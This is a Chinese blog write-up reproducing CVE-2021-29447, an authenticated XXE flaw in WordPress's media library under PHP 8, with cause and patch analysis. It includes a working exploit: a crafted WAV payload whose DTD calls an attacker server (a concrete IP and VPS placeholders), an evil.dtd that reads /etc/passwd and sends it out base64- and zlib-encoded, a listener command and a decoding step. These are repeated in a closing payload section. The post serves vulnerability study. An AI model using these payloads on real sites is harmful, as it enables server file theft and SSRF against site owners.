加载中...
CVE-2021-29447
发表于:2022-05-08 | 分类: web
字数统计: 1.7k | 阅读时长: 7分钟 | 阅读量:

WordPress在PHP8下经过身份验证的媒体库XXE漏洞

CVE-2021-29447

产品介绍

WordPress是一款能建立出色网站、博客或应用程序的开源软件。

漏洞简介

漏洞危害:

研究人员在WordPress中新发现了一个的XXE漏洞(CVE-2021-29447),远程攻击者可以利用该漏洞访问任意内部文件,并实现服务器端请求伪造(SSRF)。

漏洞原因

主要是在wp-includes/ID3/getid3.lib.php

img

wordpress有一个媒体库,经过身份验证的用户可以上传媒体文件以便后续使用,再上传媒体文件时,wordpress会调用getid3这个库,提取上传媒体文件的元信息,其中一些数据会以XML的格式进行解析,因此所以在一定条件下会导致XXE漏洞。2014年,WordPress 3.9.2中添加了一个禁用外部实体libxml_disable_entity_loader(true)的调用,以修复一个XXE漏洞。随着php8的发布,有关的代码被略作修改,以适应libxml_disable_entity_loader()函数的弃用。因为PHP新版本使用Libxml2 v2.9+,默认情况下会禁用外部实体获取。因此,只有当运行的PHP版本<8时,才需调用该函数。所以当php大于等于8时,便可以利用这个特点。虽然simplexml_load_string()函数调用并不是默认的。即使名称可能不建议使用,LIBXML_NOENT标志也会启用实体替换。在这种情况下,LIBXML_NOENT意味着结果中将不保留任何实体,因此将提取并替换外部实体。如此一来,便可以在运行PHP 8的WordPress上,利用已在WordPress 3.9.2中修复的XXE漏洞。

影响产品:

img

补丁分析

img

重新引入libxml_disable_entity_loader(true)的调用,或者重新引入另外一种方法libxml_set_external_entity_loader()

漏洞调试环境搭建

可以去WPScan官网下载对应版本手动搭建,例如下面的5.6.2版本:

https://wpscan.com/wordpress/562

也能使用docker直接搭建:

https://github.com/motikan2010/CVE-2021-29447

漏洞利用及代码分析

利用方法

利用下方语句构造wave格式的恶意音频文件,主要就是使用最小必要的wave结构加上恶意有效载荷得到payload.wav

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://175.178.47.228:8888/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

然后在自己的VPS下写入evil.dtd

<!ENTITY % file SYSTEM "php://filter/zlib.default/read=convert.base64-encode/resource=/etc/passwd">

<!ENTITY %init "<!ENTITY % trick SYSTEM 'http://VPS:PORT/?p=%file'"> 

最后在该目录下用php启动一个web服务器

php -S 0.0.0.0:PORT

然后用户登录wordpress在媒体库上传上面精心构造的payload.wav就可以实现ssrf,访问内部的任意文件,外带出base64加密和zlib压缩过的内容。

最后通过php解出实际内容即可

echo zlib_decode(base64_decode('内容'));

实际流程

在/wp-admin界面登录一个有上传媒体文件权限的用户,然后在/wp-admin/media-new.php上传(linux下使用docker搭建的环境上传不会报错,但是windows下用phpstudy搭建的上传会报错,虽然报错但是仍有信息被外带出来了):

触发外带出有效信息:

最后php解压和解密即可:

经过尝试,文件如果到达一定的长度后是外带不出来的。

代码分析

上传恶意wav文件,debug一下,大致的函数结构如下:

在解析xml的地方下了断点,可以看到当php版本大于8.0时,没有进入那两个if,就不会禁用外部实体,就会进行解析,这里自己的vps就已经可以收到结果了,因此造成了xxe注入。

总结

经过本次CVE的复现,加深了我对xxe的一些基础知识的理解,知道了xxe外部实体注入漏洞是如何产生的,并且如何进行修复。对于xml和dtd的基础知识也有了一定的了解,能够进行一定程度上的运用。学习到了在xxe实体注入时,没有回显可以使用vps将ssrf得到信息外带出来。最后,还有再次学习了如何使用docker搭建环境,确实十分方便。

参考资料

http://cn-sec.com/archives/362965.html

https://zhuanlan.zhihu.com/p/368864884

https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5

https://www.freebuf.com/vuls/272446.html

https://dl.packetstormsecurity.net/2106-exploits/CVE-2021-29447.pdf

PAYLOAD&一些额外知识

下面使用的都是参数实体

Now we can create a malicious WAV file.

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://[Our IP]:[PORT]/[FILE].dtd'"'"'>%remote;%init;%trick;]>\x00' > 123.wav

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://175.178.47.228:8888/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://175.178.47.228:8888/evil.dtd'"'"'>%remote;%init;%trick;]>\x00

Now create an evil.dtd file to store the next part of the payload

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://VPS:PORT/?p=%file;'>" >

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://175.178.47.228:8888/?p=%file;'>" >

总的payload为:

前面的几个特定字符为构造wave文件的必要结构

RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://VPS:PORT/evil.dtd'>%remote;%init;%trick;]>\x00
<!ENTITY % file SYSTEM "php://filter/zlib.default/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY %init "<!ENTITY % trick SYSTEM 'http://VPS:PORT/?p=%file'"> 

由于请求时,将数据base64加密了一遍又压缩了一遍,所以需要先base64解密后解压

<?php
echo zlib_decode(base64_decode(''));

docker

docker-compose up -d
docker-compose down
docker ps
docker images
docker exec -it (container-id) /bin/bash
docker rmi (images-id)
编辑docker内的文件可以直接 cat>>就行了

wordpress禁用更新

define( 'WP_AUTO_UPDATE_CORE', false ); 
上一篇:
不同长度字符的命令执行
下一篇:
Linux下SUID提权
本文目录
本文目录